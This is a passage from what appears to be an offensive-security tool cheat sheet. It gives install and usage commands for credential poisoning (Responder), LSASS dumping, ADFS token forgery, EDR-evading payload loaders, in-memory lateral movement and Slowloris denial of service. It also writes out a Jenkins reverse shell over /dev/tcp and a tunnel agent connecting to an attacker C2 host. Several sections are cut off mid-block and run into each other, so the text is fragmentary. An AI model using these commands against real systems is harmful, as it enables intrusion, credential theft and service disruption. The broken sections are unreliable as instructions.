====================
### [π](#tool-list)crt.sh -> httprobe -> EyeWitness
I have put together a bash one-liner that:
- Passively collects a list of subdomains from certificate associations ([crt.sh](https://crt.sh/))
- Actively requests each subdomain to verify it's existence ([httprobe](https://github.com/tomnomnom/httprobe))
- Actively screenshots each subdomain for manual review ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))
**Usage:**
```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
```
*Note: You must have [httprobe](https://github.com/tomnomnom/httprobe), [pup](https://github.com/EricChiang/pup) and [EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness) installed and change 'DOMAIN_COM' to the target domain. You are able to run this script concurrently in terminal windows if you have multiple target root domains*
### [π](#tool-list)[jsendpoints](https://twitter.com/renniepak/status/1602620834463588352)
A JavaScript bookmarklet for extracting all webpage endpoint links on a page.
Created by [@renniepak](https://twitter.com/renniepak), this JavaScript code snippet can be used to extract all endpoints (starting with /) from the current webpage DOM including all external script sources embedded on the webpage.
```javascript
javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i")})}setTimeout(writeResults,3e3);})();
```
**Usage (Bookmarklet)**
Create a bookmarklet...
- `Right click your bookmark bar`
- `Click 'Add Page'`
- `Paste the above Javascript in the 'url' box`
- `Click 'Save'`
...then visit the victim page in the browser and click the bookmarklet.

====================
### [π](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)
Responder is a tool for poisoning the LLMNR and NBT-NS protocols on a network, to allow for credential capture and arbitrary code execution.
The LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) protocols are used by Windows systems to resolve hostnames to IP addresses on a local network. If a hostname cannot be resolved using these protocols, the system will broadcast a request for the hostname to the local network.
Responder listens for these broadcasts and responds with a fake IP address, tricking the requesting system into sending its credentials to the attacker.
**Install:**
```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder
```
**Usage:**

This might be usefull when a company is blocking PowerShell.exe and/or is using a Application Whitelisting solution, but does not block running JS/VBS files.
**Usage:**
- Setup a new Listener within PowerShell Empire
- Use the Launcher command to Generate a PowerShell launcher for this listener
- Copy and Replace the Base64 encoded Launcher Payload within the StarFighter JavaScript or VBScript file
For the JavaScript version use the following Variable:
```javascript
var EncodedPayload = ""
```
For the VBScript version use the following Variable:
```vbscript
Dim EncodedPayload: EncodedPayload = ""
```
- Then run: wscript.exe StarFighter.js or StarFighter.vbs on Target, or DoubleClick the launchers within Explorer.

### [π](#tool-list)[demiguise](https://github.com/nccgroup/demiguise)
The aim of this project is to generate .html files that contain an encrypted HTA file.
The idea is that when your target visits the page, the key is fetched and the HTA is decrypted dynamically within the browser and pushed directly to the user.
This is an evasion technique to get round content / file-type inspection implemented by some security-appliances.
Further technical information [here](https://github.com/nccgroup/demiguise#how-does-it-do-it).
**Install:**
```
git clone https://github.com/nccgroup/demiguise
cd demiguise
```
**Usage:**
```bash
# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
```

## [π](#tool-list)[PowerZure](https://github.com/hausec/PowerZure)
PowerZure is a PowerShell project created to assess and exploit resources within Microsoftβs cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.
There is zero reason to ever run PowerZure on a victimβs machine. Authentication is done by using an existing accesstoken.json file or by logging in via prompt when logging into Azure, meaning you can safely use PowerZure to interact with a victimβs cloud instance from your operating machine.
**Install:**
```bash
Install-Module -Name Az
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo C:\path\to\PowerZure.psd1
```
**Usage:**
```bash
# Get a list of AzureAD and Azure objects you have access to
Get-AzureTarget
```

### [π](#tool-list)[ligolo-ng](https://github.com/nicocha30/ligolo-ng)
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using [Gvisor](https://gvisor.dev/).
When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.
**Install: (Download)**
Precompiled binaries (Windows/Linux/macOS) are available on the [Release page](https://github.com/nicocha30/ligolo-ng/releases).
**Install: (Build)**
*Building ligolo-ng (Go >= 1.17 is required):*
```bash
go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go
# Build for Windows
GOOS=windows go build -o agent.exe cmd/agent/main.go
GOOS=windows go build -o proxy.exe cmd/proxy/main.go
```
**Setup: (Linux)**
```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
```
**Setup: (Windows)**
You need to download the [Wintun](https://www.wintun.net/) driver (used by [WireGuard](https://www.wireguard.com/)) and place the `wintun.dll` in the same folder as Ligolo (make sure you use the right architecture).
**Setup: (Proxy server)**
```bash
./proxy -h # Help options
./proxy -autocert # Automatically request LetsEncrypt certificates
```
**Usage:**
*Start the agent on your target (victim) computer (no privileges are required!):*
```bash
./agent -connect attacker_c2_server.com:11601
```
A session should appear on the proxy server.
```
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
```
Use the session command to select the agent.
```
ligolo-ng Β» session

### [π](#tool-list)[ADFSDump](https://github.com/mandiant/ADFSDump)
A C# tool to dump all sorts of goodies from AD FS.
Created by Doug Bienstock [@doughsec](https://twitter.com/doughsec) while at Mandiant FireEye.
This tool is designed to be run in conjunction with ADFSpoof. ADFSdump will output all of the information needed in order to generate security tokens using ADFSpoof.
**Requirements:**
- ADFSDump must be run under the user context of the AD FS service account. You can get this information by running a process listing on the AD FS server or from the output of the Get-ADFSProperties cmdlet. Only the AD FS service account has the permissions needed to access the configuration database. Not even a DA can access this.
- ADFSDump assumes that the service is configured to use the Windows Internal Database (WID). Although it would be trivial to support an external SQL server, this feature does not exist right now.
- ADFSDump must be run locally on an AD FS server, NOT an AD FS web application proxy. The WID can only be accessed locally via a named pipe.
**Install: (Compile)**
ADFSDump was built against .NET 4.5 with Visual Studio 2017 Community Edition. Simply open up the project .sln, choose "Release", and build.
**Usage: (Flags)**
```bash
# The Active Directory domain to target. Defaults to the current domain.
/domain:
# The Domain Controller to target. Defaults to the current DC.
/server:
# Switch. Toggle to disable outputting the DKM key.
/nokey
# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database

cd Mangle
go build Mangle.go
```
**Usage:**
```bash
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int

### [π](#tool-list)[ScareCrow](https://github.com/optiv/ScareCrow)
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls).
Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDRβs hook out of the system DLLs running in the process's memory.
When executed, ScareCrow will copy the bytes of the system DLLs stored on disk in `C:\Windows\System32\`. These DLLs are stored on disk βcleanβ of EDR hooks because they are used by the system to load an unaltered copy into a new process when itβs spawned. Since EDRβs only hook these processes in memory, they remain unaltered.
Nice blogs for learning about techniques utilized by ScareCrow:

Path to the raw 64-bit shellcode.
-Loader string
Sets the type of process that will sideload the malicious payload:
[*] binary - Generates a binary based payload. (This type does not benefit from any sideloading)
[*] control - Loads a hidden control applet - the process name would be rundll32 if -O is specified a JScript loader will be generated.
[*] dll - Generates just a DLL file. Can be executed with commands such as rundll32 or regsvr32 with DllRegisterServer, DllGetClassObject as export functions.
[*] excel - Loads into a hidden Excel process using a JScript loader.
[*] msiexec - Loads into MSIexec process using a JScript loader.
[*] wscript - Loads into WScript process using a JScript loader. (default "binary")
-O string
Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.
-configfile string
The path to a json based configuration file to generate custom file attributes. This will not use the default ones.
-console
Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.

### [π](#tool-list)[nanodump](https://github.com/helpsystems/nanodump)
The LSASS (Local Security Authority Subsystem Service) is a system process in the Windows operating system that is responsible for enforcing the security policy on the system. It is responsible for a number of tasks related to security, including authenticating users for logon, enforcing security policies, and generating audit logs.
Creating a dump of this process can allow an attacker to extract password hashes or other sensitive information from the process's memory, which could be used to compromise the system further.
This allows for the creation of a minidump of the LSASS process.
**Install:**
```bash
git clone https://github.com/helpsystems/nanodump.git
```
**Install: (Linux with MinGW)**
```bash
make -f Makefile.mingw

### [π](#tool-list)[eviltree](https://github.com/t3l3machus/eviltree)
A standalone python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches. Created for two main reasons:
- While searching for secrets in files of nested directory structures, being able to visualize which files contain user provided keywords/regex patterns and where those files are located in the hierarchy of folders, provides a significant advantage.
- `tree` is an amazing tool for analyzing directory structures. It's really handy to have a standalone alternative of the command for post-exploitation enumeration as it is not pre-installed on every linux distro and is kind of limited on Windows (compared to the UNIX version).
**Install:**
```bash
git clone https://github.com/t3l3machus/eviltree
```
**Usage:**
```bash
# Running a regex that essentially matches strings similar to: password = something against /var/www
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v
# Using comma separated keywords instead of regex

### [π](#tool-list)[LiquidSnake](https://github.com/RiccardoAncarani/LiquidSnake)
Liquid Snake is a program aimed at performing lateral movement against Windows systems without touching the disk.
The tool relies on WMI Event Subscription in order to execute a .NET assembly in memory, the .NET assembly will listen for a shellcode on a named pipe and then execute it using a variation of the thread hijacking shellcode injection.
The project is composed by two separate solutions:
- `CSharpNamedPipeLoader` - the component that will be transformed in VBS via GadgetToJScript
- `LiquidSnake` - the component responsible to creating the WMI Event Subscription on the remote system
**Install:**
Open both solutions in Visual Studio and build. *Make sure to target x64 architecture for the `CSharpNamedPipeLoader`.*
Output: Two separate EXEs: `CSharpNamedPipeLoader.exe` and `LiquidSnake.exe`
Full build information can be found [here](https://github.com/RiccardoAncarani/LiquidSnake#building).
**Usage:**
Use `LiquidSnake.exe` agains a host where you have administrative access over as follows:
```bash
LiquidSnake.exe [ ]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local
```
If everything went fine, you should obtain an output similar as the following:
```bash
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day
```
General usage information can be found [here](https://github.com/RiccardoAncarani/LiquidSnake#usage).

### [π](#tool-list)Forwarding Ports
Sometimes, after gaining access to an endpoint there are local ports. Making these internal ports external routable can help for lateral movement to other services on the host.
```bash
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:EXTERNAL_PORT,fork TCP:127.0.0.1:INTERNAL_PORT &
```
### [π](#tool-list)Jenkins reverse shell
If you gain access to a jenkins script console you can use this to gain a reverse shell on the node.
```jenkins
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP_ADDRESS/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
### [π](#tool-list)[ADFSpoof](https://github.com/mandiant/ADFSpoof)
Created by Doug Bienstock [@doughsec](https://twitter.com/doughsec) while at Mandiant FireEye.
ADFSpoof has two main functions:
1. Given the EncryptedPFX blob from the AD FS configuration database and DKM decryption key from Active Directory, produce a usable key/cert pair for token signing.
2. Given a signing key, produce a signed security token that can be used to access a federated application.
This tool is meant to be used in conjunction with ADFSDump. ADFSDump runs on an AD FS server and outputs important information that you will need to use ADFSpoof.
**Install:**
**Note:** *ADFSpoof requires the installation of a custom fork of the Python Cryptography package, available [here](https://github.com/dmb2168/cryptography).*
```bash
git clone https://github.com/mandiant/ADFSpoof
pip install -r requirements.txt
```
**Usage:**
```bash
# Decrypt the EncryptedPFX and write to disk
python ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump
# Generate a security token for Office365
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s sts.doughcorp.com o365 --upn robin@doughcorp.co --objectguid {1C1D4BA4-B513-XXX-XXX-3308B907D759

### [π](#tool-list)[SlowLoris](https://github.com/gkbrk/slowloris)
Slowloris is a type of denial-of-service (DoS) attack that involves sending HTTP requests to a web server in a way that ties up the server's resources, preventing it from being able to process legitimate requests.
This attack would typically be conducted with a botnet, it is designed to be difficult to detect and mitigate, as it uses a relatively small number of connections and does not generate a large amount of traffic.
**Install: (Pip)**
```bash
sudo pip3 install slowloris
```
**Install: (Git)**
```bash
git clone https://github.com/gkbrk/slowloris.git
cd slowloris
```
**Usage:**
```bash
# Pip
slowloris example.comr
# Git
python3 slowloris.py example.com
```
### [π](#tool-list)[usbkill](https://github.com/hephaest0s/usbkill)
This is an anti-forensic kill-switch that waits for a change in USB port status, immediately shutting down endpoint if a change is detected.
In some situations, it is imperative that no data is added or removed from an endpoint via USB.
This is where USBkill comes in.
**Install:**
```
git clone https://github.com/hephaest0s/usbkill
cd usbkill
./setup.py install
```
**Usage:**
```bash
sudo python3 usbkill.py
```

**Install: (Build)**
```
git clone https://github.com/ggerganov/kbd-audio
cd kbd-audio
git submodule update --init
mkdir build && cd build
cmake ..
make
```
**Usage:**
```bash
# Record audio to a raw binary file on disk
./record-full output.kbd [-cN]
# Playback a recording captured via the record-full tool
./play-full input.kbd [-pN]
# Record audio only while typing (Useful for collecting training data for keytap)
./record output.kbd [-cN] [-CN]
```
